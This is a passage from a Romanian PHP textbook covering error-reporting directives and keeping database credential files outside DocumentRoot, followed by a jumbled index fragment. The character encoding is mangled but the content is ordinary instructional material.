Aceastã directivã precizeazã fiºierul în care sunt scrise erorile. Este necesar ca PHP
sã aibã drept de scriere în fiºierul repectiv.
Dacã nu aveþi acces la php.ini, puteþi seta directivele enumerate anterior în interiorul
scriptului, folosind funcþia PHP ini_set(). De asemenea, nivelul de raportare a
erorilor poate fi setat cu funcþia dedicatã error_reporting():
int error_reporting([int level])
Nivelul de raportare level poate fi o constantã sau o mascã de biþi. Este încurajatã
utilizarea constantelor (pentru compatibilitatea cu versiunile anterioare). Funcþia seteazã
directiva error_reporting la valoarea level ºi întoarce valoarea anterioarã. În exemplul
urmãtor, directiva este setatã la valoarea E_ALL:
error_reporting(E_ALL);

Ascunderea informaþiilor utilizate pentru conectarea la


baza de date
În cele mai multe aplicaþii PHP, informaþiile utilizate pentru conectarea la serverul de
baze de date sunt pãstrate într-un fiºier, fie acesta info.inc:
<?php
$host = ”mydomain.com”;
$username = ”myname”;
$password = ”mypassword”;
?>
Dacã fiºierul info.inc este plasat în DocumentRoot, atunci el este expus accesului
neautorizat (prin intermediul browserului Web), mai ales dacã se þine seama cã
majoritatea serverelor Web trimit conþinutul fiºierelor cu extensia inc ca text
simplu (plain text).
Una dintre soluþiile utilizate pentru a evita expunerea datelor din info.inc este plasarea
acestui fiºier în afara DocumentRoot (se þine seama cã instrucþiunile include ºi require
acceptã ca argumente cãi din sistemul de fiºiere). Dacã, de exemplu, DocumentRoot este
/home/user/public_html, puteþi plasa fiºierul info.inc în /home/user. În acest fel, fiºierul
info.inc nu va mai fi accesibil prin intermediul browserului Web, deoarece nu are un URI
(numai fiºierele plasate în DocumentRoot sunt accesibile via HTTP, pentru cã pot fi
localizate prin intermediul unui URI), dar poate fi inclus în fiºierele care conþin cod a
cãrui execuþie implicã existenþa unei conexiuni la serverul de baze de date.
Index

allow_url_fopen 37, 131 Mail User Agent 75


A display_errors 300 mesaje bazate pe text 81
error_log 301 mesaje cu ataºamente 85
ActiveX 294
error_reporting 300, 301 mesaje în format XHTML 83
AJAX
file_uploads 44 MIME, standard 77
definiþie 230
include_path 131, 286 outgoing 80
interacþiune asincronã 232 POP3, protocol 76
log_errors 301
mod de lucru 231 RFC 822, standard 76
magic_quotes_gpc 295
motor AJAX 231 sendmail, program 79
register_globals 46
XMLHttpRequest 230 server de e-mail 76
sendmail_from 79
AmazonSearchService 205 serviciu Internet 75
sendmail_path 79
anteturi HTTP sistem de poºtã electronicã 75
session.save_path 53
Content-Length 154 SMTP, protocol 76, 79
session.use_cookies 53
Location 61 Web-based e-mail 76
session.use_trans_sid 54
User-Agent 154 ebXML 157
short_open_tag 124
anteturi MIME erori PHP 300
Content-Description 79
SMTP 79
Excel, aplicaþie 27
upload_max_filesize 45
Content-Transfer- expat 122
Encoding 79 upload_tmp_dir 47
export de date MySQL în XML
Content-Type 78 DOM
137
MIME-Version 78 API-ul DOM PHP 131 expresii regulate 15
autentificare 59 implementãri 131
autorizare 59 mod de lucru 114 F
DoS, atac 293
C